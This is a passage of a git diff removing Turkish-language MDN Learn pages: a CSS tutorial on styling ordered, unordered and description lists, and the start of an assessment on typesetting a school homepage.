açıklıyor.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Öğren/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Öğren/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a href="/tr/docs/Öğren/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü inceleyin.) ve CSS'in nasıl çalıştığı hakkında bilgi(<a class="new" href="/tr/docs/Öğren/CSS/Ilk_adimlar" rel="nofollow">CSS ilk adım</a>)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>Listeleri şekillendirmeyle ilgili en iyi uygulamalara ve özelliklere aşîna olmak.</td> - </tr> - </tbody> -</table> - -<h2 id="Basit_bir_liste_örneği">Basit bir liste örneği</h2> - -<p>Basit bir liste örneğiyle başlayalım. Bu ders boyunca sıralanmamış, sıralanmış ve açıklama listelerine bakacağız. Hepsinin birbirlerine benzeyen, bazılarında ise kendi liste türlerine özgü şekillendirme özellikleri vardır. <a href="http://mdn.github.io/learning-area/css/styling-text/styling-lists/unstyled-list.html">Github üzerinde</a> biçimlendirilmemiş bir örneğimiz mevcuttur(<a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/styling-lists/unstyled-list.html">kaynak koduna</a> bakabilirsiniz).</p> - -<p>Liste örneğimizin HTML'si şu şekildedir.</p> - -<pre class="brush: html notranslate"><h2>Sırasız alışveriş listesi</h2> - -<p><span class="tlid-translation translation" lang="tr"><span title="">Referans için paragraf, referans için paragraf, referans için paragraf,</span> -<span title="">referans için paragraf, referans için paragraf, referans için paragraf.</span></span></p> - -<ul> - <li>Humus</li> - <li>Pide</li> - <li>Yeşil salata</li> - <li>Hellim peyniri</li> -</ul> - -<h2>Sıralı tarif listesi</h2> - -<p><span class="tlid-translation translation" lang="tr"><span title="">Referans için paragraf, referans için paragraf, referans için paragraf,</span> -<span title="">referans için paragraf, referans için paragraf, referans için paragraf.</span></span></p> - -<ol> - <li>Pideyi pişirin, soğumaya bırakın ve ardından kenarını dilimleyin</li> - <li>Hellim'i her iki tarafı da kızarıncaya kadar sığ ve yapışmaz bir tavada kızartın</li> - <li>Salatayı yıkayıp doğrayın</li> - <li>Pideyi salata, humus ve kızarmış hellim ile doldurun.</li> -</ol> - -<h2>Madde açıklama listesi</h2> - -<p><span class="tlid-translation translation" lang="tr"><span title="">Referans için paragraf, referans için paragraf, referans için paragraf,</span> -<span title="">referans için paragraf, referans için paragraf, referans için paragraf.</span></span></p> - -<dl> - <dt>Humus</dt> - <dd>Genellikle tahin, limon suyu, tuz, sarımsak ve diğer malzemelerle harmanlanmış nohuttan yapılan koyu bir sos</dd> - <dt>Pide</dt> - <dd>Yumuşak, hafif mayalı bir gözleme</dd> - <dt>Hellim peyniri</dt> - <dd>Normalden daha yüksek erime noktasına sahip, genellikle keçi/koyun sütünden yapılan yarı sert, olgunlaşmamış, salamura peynir</dd> - <dt>Yeşil salata</dt> - <dd>Bir çoğumuzun kebapları süslemek için kullandığımız yeşil sağlıklı sebzeler</dd> -</dl></pre> - -<p>Şimdi canlı örneğe giderseniz ve <a href="/tr/docs/Learn/Common_questions/What_are_browser_developer_tools">tarayıcı geliştirme araçlarını</a> kullanarak liste öğelerini araştırırsanız, birkaç stil varsayılanını fark edeceksiniz:</p> - -<ul> - <li>{{htmlelement("ul")}} ve {{htmlelement("ol")}} öğeleri için üst ve alttan <code>16px</code>(<code>1em</code>) {{cssxref("margin")}} için ve soldan <code>40px</code>(<code>2,5em</code>) {{cssxref("padding-left")}} için varsayılan bir değere sahip olduklarını;</li> - <li>Liste {{htmlelement("li")}} öğesinin varsayılan dolgu ve kenar boşluğu değerlerinin olmadığını;</li> - <li>{{htmlelement("dl")}} öğesinin alt ve üstten <code>16px</code> {{cssxref("margin")}} değerine sahip olduğunu fakat herhangi bir dolgu değerinin bulunmadığını;</li> - <li>Liste {{htmlelement("dt")}} öğesinin varsayılan dolgu ve kenar boşluğu değerinin olmadığını;</li> - <li>liste {{htmlelement("dd")}} öğesinin {{cssxref("margin-left")}} niteliğinin <code>40px</code> (<code>2.5em</code>.) değerine sahip olduğunu görürsünüz.</li> - <li>{{htmlelement("p")}} öğesini size referans olması için dahil ettik. Bu öğemiz de, farklı liste türleriyle aynı üst ve alt {{cssxref("margin")}}(<code>16px (1em)</code>) değerine sahiptir.</li> -</ul> - -<h2 id="Liste_aralıklarını_kontrol_etme">Liste aralıklarını kontrol etme</h2> - -<p>Listelerin şeklini belirlerken, stillerini çevreleyen öğelerle(paragraf ve görüntü gibi; dikey ritmi olarakta adlandırılır) aynı dikey aralığına ve birbirleriyle aynı yatay aralığa sahip olacak şekilde ayarlamamız gerekebilir(you can see the <a href="http://mdn.github.io/learning-area/css/styling-text/styling-lists/">finished styled example</a> on Github, and <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/styling-lists/index.html">find the source code</a> too.).</p> - -<p>When styling lists, you need to adjust their styles so they keep the same vertical spacing as their surrounding elements (such as paragraphs and images; sometimes called vertical rhythm), and the same horizontal spacing as each other ( <a href="http://mdn.github.io/learning-area/css/styling-text/styling-lists/">bitmiş örneğimizi</a> Github'da bulabilir ve <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/styling-lists/index.html">kaynak kodlarınıda</a> görebilirsiniz).</p> - -<p>Metin stili ve aralığı için kullanılan CSS aşağıdaki gibidir:</p> - -<pre class="brush: css notranslate">/* Genel Stil */ - -html { - font-family: Helvetica, Arial, sans-serif; - font-size: 10px; -} - -h2 { - font-size: 2rem; -} - -ul,ol,dl,p { - font-size: 1.5rem; -} - -li, p { - line-height: 1.5; -} - -/* Description list styles */ - - -dd, dt { - line-height: 1.5; -} - -dt { - font-weight: bold; -} -</pre> - -<ul> - <li>İlk kural, site genelinde bir yazı tipi ve 10 piksellik yazı tipi boyutu belirler. Bunlar sayfadaki her öğe tarafından miras alınır.</li> - <li>2. ve 3. kurallar da, başlıklar farklı liste türleri(liste öğelerinin alt öğeleri bunları devralır) ve paragraflar için göreli yazı tipi boyutlarını belirler. Bu, her paragrafın ve listenin aynı yazı tipi boyutuna ve üst/alt aralığa sahip olacağı anlamına gelir ve bu da dikey ritmi tutarlı tutmaya yardımcı olur.</li> - <li>4. kural da, {{cssxref("line-height")}} niteliği ile dikey ritmin tutarlı tutmaya yardımcı olur. Paragraflarda ve liste öğelerinde aynı işlemi yapar ve böylece paragraflar ve her bir liste öğesi satırlar arasında aynı aralığa sahip olur.</li> - <li>5. ve 6. kurallar da, açıklama listesine uygulanır. {{cssxref("line-height")}} niteliği ile paragraf ve liste öğelerinde yaptığımız gibi, açıklama listesi terimleri ve açıklamalarında da aynısını belirleriz. Yani tutarlılık iyidir! Ayrıca açıklama terimlerinin kalın yazı tipine sahip olmasını sağlayarak görsel olarak daha kolay öne çıkmasına yardımcı olduk.<span id="cke_bm_126E" class="hidden"> </span></li> -</ul> - -<h2 id="Listeye_özgü_şekiller">Listeye özgü şekiller</h2> - -<p>Şimdiye kadar listeler için genel boşluk tekniklerine baktık, bundan sonra da listeye özgü bazı özellikleri inceleyelim.</p> - -<p>İlk başta bilmeniz gereken, {{htmlelement("ul")}} ve {{htmlelement("ol")}} öğelerinde ayarlanabilen üç nitelik vardır.</p> - -<ul> - <li>{{cssxref("list-style-type")}}: Liste için kullanılacak madde işaretlerinin türünü belirler; örn. sırasız bir liste için kare veya daire madde işaretlerini; sıralı bir liste için sayılar, harfler veya roma rakamları.</li> - <li>{{cssxref("list-style-position")}}: Madde işaretlerinin öğenin başlangıcından önce liste içeriğinin içinde mi yoksa liste içeriğinin dışında mı(sol dışında) görüneceğini belirler.</li> - <li>{{cssxref("list-style-image")}}: Madde işareti için basit bir kare veya daire yerine özel bir görüntü kullanmamızı sağlar</li> -</ul> - -<h3 id="Madde_işareti_şekilleri">Madde işareti şekilleri</h3> - -<p>Yukarıda belirtildiği gibi, {{cssxref("list-style-type")}} niteliğiyle madde işaretleri için ne tür bir işaret kullanacağını ayarlamamıza izin verir. Örneğimizde, sıralı listeyi büyük harfli roma rakamları kullanacak şekilde ayarlamak için:</p> - -<pre class="brush: css notranslate">ol { - list-style-type: upper-roman; -}</pre> - -<p>Kuralını oluşturduğumuzda bize aşağıdaki gibi bir sonuç verir.:</p> - -<p><img alt="Madde işaretlerinin liste öğesi metninde görünecek şekilde ayarlandığı sıralı liste." src="https://mdn.mozillademos.org/files/17434/list-style-type.png" style="border-style: solid; border-width: 1px; display: block; height: 123px; margin: 0px auto; width: 437px;"></p> - -<p>{{cssxref("list-style-type")}} referans sayfasına bakarak daha fazla seçenek buluabilirsiniz.</p> - -<h3 id="Madde_işareti_konumu">Madde işareti konumu</h3> - -<p>{{cssxref("list-style-position")}}, Madde işaretlerinin öğenin başlangıcından önce liste içeriğinin içinde yada liste içeriğinin dışında(sol dışında) görünür. Varsayılan değeri olan <code>outside</code> ile yukarıda görüldüğü gibi madde işaretlerinin liste öğelerinin dışında kalmasına neden olur.</p> - -<p>Değeri <code>inside</code> olarak ayarlarsak, madde işaretleri öğe içerik alanı içerisine oturur.</p> - -<pre class="brush: css notranslate">ol { - list-style-type: upper-roman; - list-style-position: inside; -}</pre> - -<p><img alt="madde işaretlerinin liste öğesi metninde görünecek şekilde ayarlandığı sıralı bir liste." src="https://mdn.mozillademos.org/files/17435/list-style-position-tr.png" style="border-style: solid; border-width: 1px; display: block; height: 123px; margin: 0px auto; width: 431px;"></p> - -<h3 id="Özel_bir_madde_işareti_görüntüsü_kullanma">Özel bir madde işareti görüntüsü kullanma</h3> - -<p>{{cssxref("list-style-image")}} niteliği madde işaretlerinde özel bir resim kullanılmasını sağlar. Sözdizimi oldukça basittir:</p> - -<pre class="brush: css notranslate">ul { - list-style-image: url(star.svg); -}</pre> - -<p>Ancak bu nitelik, madde işareti konumunu, boyutunu vb. gibi özellikleri kontrol etme açısından biraz sınırlıdır. <a href="/tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arka planlar ve sınırlar</a> dersinde {{cssxref("background")}} nitelik ailesinde öğrendiklerinizi kullanmanız daha iyi olacaktır. Şimdilik tanıyoruz!</p> - -<p>Bitmiş örneğimizde, sıralanmamış listeyi bu şekilde biçimlendirdik(yukarıda daha anlattıklarımızın üstüne):</p> - -<pre class="brush: css notranslate">ul { - padding-left: 2rem; - list-style-type: none; -} - -ul li { - padding-left: 2rem; - background-image: url(star.svg); - background-position: 0 0; - background-size: 1.6rem 1.6rem; - background-repeat: no-repeat; -}</pre> - -<p>Burada aşağıdakileri yaptık:</p> - -<ul> - <li>{{cssxref("padding-left")}} niteliğimizle, {{htmlelement("ul")}} öğemizin <code>40px</code> olan varsayılan kenar boşluğunu <code>20px</code> olarak ayarladık, sonra liste öğelerininde aynı kenar boşluğuna sahip olması için bir kural tanımladık. Böylece, sipariş liste öğeleriyle açıklama listesi öğelerinin aynı hizada olmasını sağladık. Eğer liste öğlerine(<code>li</code>) kenar boşluğu vermeseydik, liste öğelerinin arka planı içerisinde görüntülediğimiz resmimizle üst üste gelmesine neden olurdu.</li> - <li>{{cssxref("list-style-type")}} niteliğimize <code>none</code> değerini atayarak, liste madde işaretlerinde herhangi bir şeyin görüntülenmesini engelemiş olduk. Böylece {{cssxref("background")}} niteliğimizle yerleştireceğimiz madde işaretine temiz bir zemin hazırlamış olduk.</li> - <li>Sıralanmamış listenin herbir liste öğesine, resmi madde işareti olarak ekledik. İlgili nitelikler aşağıdaki gibidir: - <ul> - <li>{{cssxref("background-image")}}: Bu, madde işareti olarak kullanmak istediğimiz resmin dosyasının yolunu belirtiriz.</li> - <li>{{cssxref("background-position")}}: Bu, seçilen öğenin arka planında görüntünün nerede görüneceğini tanımlar — <code>0 0;</code> durumunda, her madde işareti tanımlandığı öğenin sol üst köşesinde görüneceği anlamına gelir.</li> - <li>{{cssxref("background-position")}}: Bu, arka plan resminin boyutunu ayarlar. İdeal olarak madde işaretlerinin liste öğeleriyle aynı boyutta(veya çok az küçük/büyük) olmasını istiyoruz. Madde işaretinin içeriğe oturmasınına izin verdiğimiz dolguya çok iyi uyan bir boyut olan <code>1.6rem(16px)</code> değeri kullanıyoruz. Madde işareti ile liste öğesinin arasında ki (<code>20px-16px</code>) 4px boşluk çok iyi duruyor.</li> - <li>{{cssxref("background-repeat")}}: Varsayılan olarak, arka plan resimleri kullanılabilir arka plan alanını doldurana kadar yenilenir. Her durumda görüntünün yalnızca bir kopysının eklenmesini istiyoruz, bu nedenle niteliğimize <code>no-repeat</code> değerini tanımlıyoruz.</li> - </ul> - </li> -</ul> - -<p>Bu bize şu sonucu verir:</p> - -<p><img alt="an unordered list with the bullet points set as little star images" src="https://mdn.mozillademos.org/files/17436/list-style-image-tr.png" style="border-style: solid; border-width: 1px; display: block; height: 110px; margin: 0px auto; width: 170px;"></p> - -<h3 id="Liste_şekillendirebilen_kısa_tanım">Liste şekillendirebilen kısa tanım</h3> - -<p>Yukarıda belirtilen üç niteliğin tümü, tek bir kısa tanım niteliği kullanılarak tanımlanabilir ({{cssxref("list-style")}}). Örn., aşağıdaki CSS:</p> - -<pre class="brush: css notranslate">ul { - list-style-type: square; - list-style-image: url(example.png); - list-style-position: inside; -}</pre> - -<p>Bununla değiştirilebilir:</p> - -<pre class="brush: css notranslate">ul { - list-style: square url(example.png) inside; -}</pre> - -<p>Değerler herhangi bir sırayla girilebilir, biri, ikisi veya üçünü birden tanımlayabilirsiniz (tanımlanmayan değerler için varsayılan değerler kullanılır <code>disc</code>, <code>none</code> ve <code>outside</code> vbg.) Birinci ve ikincideki <code>type</code> ve <code>image</code> türü bildirimin nedeni: Eğer herhangi bir nedenden dolayı resim yüklenemezse de görüntüleyebileceği bir madde işaretini tanımlamaktır.</p> - -<h2 id="Liste_sayımını_kontrol_etme">Liste sayımını kontrol etme</h2> - -<p>Bazen sıralı bir listede sıralamanın farklı şekillerde numaralandırılmasını isteyebiliriz — örn. 1'den farkllı bir sayıdan başlayarak veya geriye doğru sayarak veya 1'den fazla adımlarla sayarak. HTML ve CSS'in burada bizlere yardımcı olacak bazı araçları vardır.</p> - -<h3 id="başlangıç">başlangıç</h3> - -<p>{{htmlattrxref("start","ol")}} niteliği listenin 1'in haricinde bir sayıdan başlatmak istediğimizde kullanırız. Aşağıdaki örneğimizde listemiz saymaya 4'den başlar:</p> - -<pre class="brush: html notranslate"><ol start="4"> - <li>Pideyi pişirin, soğumaya bırakın ve ardından kenarını dilimleyin.</li> - <li>Hellim'i her iki tarafı da kızarıncaya kadar sığ ve yapışmaz bir tavada kızartın</li> - <li>Salatayı yıkayıp doğrayın</li> - <li>Pideyi salata, humus ve kızarmış hellim ile doldurun.</li> -</ol></pre> - -<p>Bize bu çıktıyı verir:</p> - -<p>{{ EmbedLiveSample('başlangıç', '100%', 150) }}</p> - -<h3 id="tersten_numaralandırmak">tersten numaralandırmak</h3> - -<p>{{htmlattrxref("reversed","ol")}} niteliği liste numaralandırma sayılarını ileri doğru değilde, geriye doğru yazılmasını sağlar:</p> - -<pre class="brush: html notranslate"><ol start="4" reversed> - <li>Pideyi pişirin, soğumaya bırakın ve ardından kenarını dilimleyin.</li> - <li>Hellim'i her iki tarafı da kızarıncaya kadar sığ ve yapışmaz bir tavada kızartın</li> - <li>Salatayı yıkayıp doğrayın</li> - <li>Pideyi salata, humus ve kızarmış hellim ile doldurun.</li> -</ol></pre> - -<p>Gives you this output:</p> - -<p>{{ EmbedLiveSample('tersten_numaralandırmak', '100%', 150) }}</p> - -<div class="note"> -<p><strong>Not</strong>: Geriye doğru ilerleyen bir listede belirtilen sayıdan daha fazla liste öğesi varsa, sayı sıfır ve ardından negatif sayılara doğru devam eder. 2, 1, 0, -1, -2, ...</p> -</div> - -<h3 id="değer">değer</h3> - -<div class="hidden"> -<h4 id="degerleme">degerleme</h4> - -<pre class="brush: html notranslate"><ol style="list-style-type: decimal;"> - <li value="2">Pideyi pişirin, soğumaya bırakın ve ardından kenarını dilimleyin.</li> - <li value="4">Hellim'i her iki tarafı da kızarıncaya kadar sığ ve yapışmaz bir tavada kızartın</li> - <li value="6">Salatayı yıkayıp doğrayın</li> - <li value="8">Pideyi salata, humus ve kızarmış hellim ile doldurun.</li> -</ol></pre> -</div> - -<p>{{htmlattrxref("value","ol")}} niteliğiyle liste öğelerine belirli bir sayısal değeri tanımlamamıza izin verir:</p> - -<pre class="brush: html notranslate"><ol> - <li value="2">Pideyi pişirin, soğumaya bırakın ve ardından kenarını dilimleyin.</li> - <li value="4">Hellim'i her iki tarafı da kızarıncaya kadar sığ ve yapışmaz bir tavada kızartın</li> - <li value="6">Salatayı yıkayıp doğrayın</li> - <li value="8">Pideyi salata, humus ve kızarmış hellim ile doldurun.</li> -</ol></pre> - -<p>Gives you this output:</p> - -<p>{{ EmbedLiveSample('degerleme', '100%', 100) }}</p> - -<div class="note"> -<p><strong>Not</strong>: Sayı olmayan, farklı bir maddeleme işareti kullansanız bile, yine de <code>value</code> niteliğindeki değere eş değer bir değer getirilir.</p> -</div> - -<div class="hidden"> -<h5 id="izli1">izli1</h5> - -<pre class="brush: html notranslate"><ol style="list-style-type:lower-alpha;"> - <li value="2">Pideyi pişirin, soğumaya bırakın ve ardından kenarını dilimleyin.</li> - <li value="4">Hellim'i her iki tarafı da kızarıncaya kadar sığ ve yapışmaz bir tavada kızartın</li> - <li value="6">Salatayı yıkayıp doğrayın</li> - <li value="8">Pideyi salata, humus ve kızarmış hellim ile doldurun.</li> -</ol></pre> -</div> - -<p>{{ EmbedLiveSample('izli1', '100%', 100) }}</p> - -<h2 id="Aktif_öğrenme_İç_içe_listeyi_şekillendirme">Aktif öğrenme: İç içe listeyi şekillendirme</h2> - -<p>Bu aktif öğrenme oturumunda, yukarıda öğrendiklerinizi anlamanızı ve iç içe geçmiş bir liste şekillendirmenizi istiyoruz. Size HTML'yi sağladık ve şunları yapmanızı istiyoruz:</p> - -<ol> - <li>Sırasız listeye kare madde işaretleri verin.</li> - <li>Sırasız liste öğelerine ve sıralı liste öğelerine yazı tipi boyutlarının 1,5'i kadar yüksekliğinde bir satır yüksekliği verin.</li> - <li>Sıralı listeye daha düşük alfabetik madde işaretleri verin.</li> - <li>Liste örenğiyle istediğiniz kadar oynayabilirsiniz, madde işareti türleri, boşluklar veya bulabileceğiniz başka özellikleri deneyebilirsiniz.</li> -</ol> - -<p>Bir hata yaparsanız, sıfırla butonunu kullanarak her zaman başlangıça dönebilirsiniz. Gerçekten takılırsanız, olası bir cevap görmek için Çözümü göster düşmesine basabilirsiniz.</p> - -<div class="hidden"> -<h6 id="Playable_code">Playable code</h6> - -<pre class="brush: html notranslate"><div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> - <h2>HTML Input</h2> - <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"><ul> - <li>First, light the candle.</li> - <li>Next, open the box.</li> - <li>Finally, place the three magic items in the box, in this exact order, to complete the spell: - <ol> - <li>The book of spells</li> - <li>The shiny rod</li> - <li>The goblin statue</li> - </ol> - </li> -</ul></textarea> - - <h2>CSS Input</h2> - <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"></textarea> - - <h2>Output</h2> - <div class="output" style="width: 90%;height: 12em;padding: 10px;border: 1px solid #0095dd;overflow: auto;"></div> - <div class="controls"> - <input id="reset" type="button" value="Reset" style="margin: 10px 10px 0 0;"> - <input id="solution" type="button" value="Show solution" style="margin: 10px 0 0 10px;"> - </div> -</div> -</pre> - -<pre class="brush: js notranslate">var htmlInput = document.querySelector(".html-input"); -var cssInput = document.querySelector(".css-input"); -var reset = document.getElementById("reset"); -var htmlCode = htmlInput.value; -var cssCode = cssInput.value; -var output = document.querySelector(".output"); -var solution = document.getElementById("solution"); - -var styleElem = document.createElement('style'); -var headElem = document.querySelector('head'); -headElem.appendChild(styleElem); - -function drawOutput() { - output.innerHTML = htmlInput.value; - styleElem.textContent = cssInput.value; -} - -reset.addEventListener("click", function() { - htmlInput.value = htmlCode; - cssInput.value = cssCode; - drawOutput(); -}); - -solution.addEventListener("click", function() { - htmlInput.value = htmlCode; - cssInput.value = 'ul {\n list-style-type: square;\n}\n\nul li, ol li {\n line-height: 1.5;\n}\n\nol {\n list-style-type: lower-alpha\n}'; - drawOutput(); -}); - -htmlInput.addEventListener("input", drawOutput); -cssInput.addEventListener("input", drawOutput); -window.addEventListener("load", drawOutput); -</pre> -</div> - -<p>{{ EmbedLiveSample('Playable_code', 700, 800) }}</p> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<p>CSS sayaçları, liste sayma ve şeklini özelleştirmek için gelişmiş araçlar sağlar, ancak oldukça karmaşıktır. Kendinizi geliştirmek istiyorsanız bunlara bakmanızı öneririz:</p> - -<ul> - <li>{{cssxref("@counter-style")}}</li> - <li>{{cssxref("counter-increment")}}</li> - <li>{{cssxref("counter-reset")}}</li> -</ul> - -<h2 id="Becerilerinizi_test_edin!">Becerilerinizi test edin!</h2> - -<p>Bu dersin sonuna geldiniz ve Aktif Öğrenme bölümümüzde zaten bazı beceri tesleri yaptınız, ancak ileriye dönük en önemli bilgileri hatırlayıp/hatırlamadığınızı biliyor musunuz? Dersin sonunda bu konuları öğrendiğini doğrulamak için bazı değerlendirme testleri hazırladık — bkz. <a href="/tr/docs/Öğren/CSS/Styling_text/Typesetting_a_homepage">Bir topluluk okulunun ana sayfasını düzenleme</a>.</p> - -<p>Bu değerlendirme, bu ünitede tartışılan tüm bilgilerini test eder, bu nedenle devam etmeden önce diğer dersleri de okumak isteyebilirsiniz.</p> - -<h2 id="Özet">Özet</h2> - -<p>İlişkili birkaç temel ilkeyi ve belirli özelliği öğrendikten sonra, listelerin stil oluşturmaya alışması nispeten kolaydır. Sonraki makalede bağlantı stil tekniklerine geçeceğiz.</p> - -<p>{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}}</p> - -<h2 id="Bu_ünitede">Bu ünitede</h2> - -<ul> - <li><a href="/tr/docs/Öğren/CSS/Styling_text/Fundamentals">Temel metin ve yazı tipi şekilleri</a></li> - <li><a href="/tr/docs/Öğren/CSS/Styling_text/Styling_lists">Listeleri şekillendirme</a></li> - <li><a href="/tr/docs/Öğren/CSS/Styling_text/Styling_links">Bağlantıları şekillendirme</a></li> - <li><a href="/tr/docs/Öğren/CSS/Styling_text/Web_fonts">Web yazı tipleri</a></li> - <li><a href="/tr/Öğren/CSS/Styling_text/Typesetting_a_homepage">Bir topluluk okulunun ana sayfasını düzenleme</a></li> -</ul> diff --git a/files/tr/learn/css/styling_text/typesetting_a_homepage/index.html b/files/tr/learn/css/styling_text/typesetting_a_homepage/index.html deleted file mode 100644 index 848a23a45f..0000000000 --- a/files/tr/learn/css/styling_text/typesetting_a_homepage/index.html +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: Bir okulun ana sayfasını düzenlemek -slug: Learn/CSS/Styling_text/Typesetting_a_homepage -tags: - - Acemi - - Assessment - - Bağlantı - - Beginner - - CSS - - CodingScripting - - Değerlendirme - - Link - - Liste - - Metnin Stilini Belirleme - - Styling text - - Web Yazı Tiği - - Yazı Tipi - - font - - list - - web font -translation_of: Learn/CSS/Styling_text/Typesetting_a_homepage -original_slug: Öğren/CSS/Styling_text/Typesetting_a_homepage ---- -<div>{{LearnSidebar}}</div> - -<div>{{PreviousMenu("Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}</div> - -<p class="summary">Bu değerlendirmede, bir okulun ana sayfasının metnin şekillendirmenizi sağlayarak, bu ünite boyunca ele aldığımız tüm metin şekillendirme tekniklerini kavrayışınızı test edeceğiz. Yol boyunca biraz eğelebilirsiniz.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşul:</th> - <td>Bu değerlendirmeyi denemeden önce, bu ünitedeki tüm derslerin üzerinde çalışmış olmanız gerekir</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>CSS metin stil tekniklerinin anlaşılmasını test etmek.</td> - </tr> - </tbody> -</table> - -<h2 id="Başlangıç_noktası">Başlangıç noktası</h2> - -<p>Bu değerlendirmeyi başlatmak için şunları yapmalısınız:</p> - -<ul> - <li>Alıştırma için gerekli <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/typesetting-a-homepage-start/index.html">HTML</a> ve <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/typesetting-a-homepage-start/style.css">CSS</a> dosyalarını ve <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/typesetting-a-homepage-start/external-link-52.png">harici bağlantı simgelerini</a> alın.</li> - <li>Yerel bilgisayarınızda bunların bir kopyasını oluşturun.</li> -</ul> - -<p>Alternatif olarak, değerlendirmenizi yapmak için <a class="external external-icon" href="http://jsbin.com/">JSBin</a> ve <a href="https://glitch.com/">Glitch</a> gibi siteleri kullanabilirsiniz. HTML'yi yapıştırabilir ve CSS'i bu çevrimiiçi düzenleyicilerden birine doldurabilir ve arka plan resmini işaret etmek için <a href="http://mdn.github.io/learning-area/css/styling-text/typesetting-a-homepage-start/external-link-52.png">bu URL</a>'yi kullanabilirsiniz. Kullandığınız çevrimiçi düzenleyicinin ayrı bir CSS paneli yoksa, bunu <code><style></code> etiketi ile HTML sayfanıza yerleştirebilirsiniz.</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Sıkıştığınızda bizden yardım isteyebilirsiniz — bu sayfanın altındaki {{anch("Değerlendirme ve daha fazlası")}} bölümüne bakabilirsiniz.</p> -</div> - -<h2 id="Proje_tanıtımı">Proje tanıtımı</h2> - -<p>Hayli bir okulun ana sayfası için bir miktar ham HTML, ayrıca sayfayı üç sütunlu bir düzende biçimlendiren ve başka bazı temel stil sağlayan bazı CSS'ler sağlandı. Yaptığınız bitleri işaretlemenin kolay olduğundan emin olmak için CSS eklemelerinizi CSS dosyasının altındaki yourmun altına yazmalısınız. Bazı seçiciler tekrarlıysa endişelenmeyin.</p> - -<p>Yazı tipleri:</p> - -<ul> - <li>Öncelikle, kullanımı ücretsiz birkaç yazı tipi indirin. Bu bir okul olduğundan, yazı tipleri sayfada oldukça ciddi, resmi, güveniir bir his verecek şekilde seçilmelidir — genel metin gövdesi için serif site çapında bir yazı tipi, başlıklar için ise sans-serif veya slab-serif birlikte güzel olabilir.</li> - <li><code>@font-face</code> ile bu iki yazı tipi için uygun bir hizmet kullanın.</li> - <li>Gövde yazı tipinizi tüm sayfaya ve başlıklar için seçtiğiniz yazı tipinide başlıklara uygulayın.</li> -</ul> - -<p>Genel metin stili:</p> - -<ul> - <li>Sayfaya site genelinde <code>font-size: 10px</code> olarak tanımlayın.</li> - <li>Başlıklarınıza ve diğer öğe türlerinize, uygun bir göreli birim kullanarak tanımlanmış uygun yazı tipi boyutları verin.</li> - <li>Gövde metninize <code>line-height</code> niteliği ile uygun bir metin yüksekliği verin.</li> - <li>Üst düzey başlığınızı sayfada ortalayın.</li> - <li>Başlıklarınızı <code>letter-spacing</code> niteliği ile fazla ezilmemeleri için harflerin arasına biraz boşluk verin.</li> - <li>Gövde metninize <code>letter-spacing</code> ve <code>word-spacing</code> nitelikleri ile biraz boşluk verin.</li> - <li>Her başlıktan sonra ilk paragrafa <code><section></code> ile biraz metin girintisi verin, örn. 20px.</li> -</ul> - -<p>Başlantılar:</p> - -<ul> - <li>Bağlantıları ziyaret, odak ve fareyle üzerine gelme durumlarına göre sayfanın üst ve alt kısmındaki yatay çubukların rengiyle uyumlu bazı renkler verin.</li> - <li>Varsayılan olarak bağlantıların altı çizili olacak şekilde yapın, ancak üzerine geldiğinizde veya odaklandığınızda alt çizgiler kaybolmalı.</li> - <li>Varsayılan odak çerçevesini sayfadaki TÜM bağlantılardan kaldırın.</li> - <li>Etkin duruma gözle görülür şekilde farklı bir stil verin, böylece güzelce öne çıksın, ancak yine de genel sayfa tasarımına uymasını sağlayın.</li> - <li>Dış bağlantıların yanlarına harici bağlantı simgesinin eklenmesini sağlayın.</li> -</ul> - -<p>Listeler:</p> - -<ul> - <li>Listelerinizin ve liste öğelerinizin aralığının genel sayfasının stiliyle uyumlu olduğundan emin olun. Her liste öğesi <code>line-height</code> niteliği değeriyle paragraf satırıyla aynı olmalıdır ve her liste öğesi paragraflar arsında yaptığınız gibi üstte ve altta aynı boşluğa sahip olmalıdır.</li> - <li>Liste öğelerinize sayfanın tasarımına uygun güzel bir madde işareti verin. Özel bir madde işareti götüntüsü mü yoksa başka bir şey mi seçeceğiniz size kalmış.</li> -</ul> - -<p>Gezinti menüsü:</p> - -<ul> - <li>Sayfa için uygun bir görünüme sahip olacak şekilde gezinme menünüzün stilini belirleyin.</li> -</ul> - -<h2 id="İpuçları_ve_püf_noktaları">İpuçları ve püf noktaları</h2> - -<ul> - <li>Bu alıştırma için HTML'yi herhangi bir şekilde düzenlemenize gerek yoktur.</li> - <li>Gezinme menüsünün düğmelere benzemesi gerekmez, ancak sayfanın yan tarafında aptalca görünmemesi için biraz daha uzun olması gerekir; ayrıca bunu dikey bir gezinme menüsü yapmanız gerektiğini unutmayın.</li> -</ul> - -<h2 id="Örnek">Örnek</h2> - -<p>Aşağıdaki ekran görüntüsüi bitmiş tasarımın nasıl görünebileceğine dair bir örnek göstermektedir:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/12994/example2.png" style="display: block; height: 1106px; margin: 0px auto; width: 1533px;"></p> - -<h2 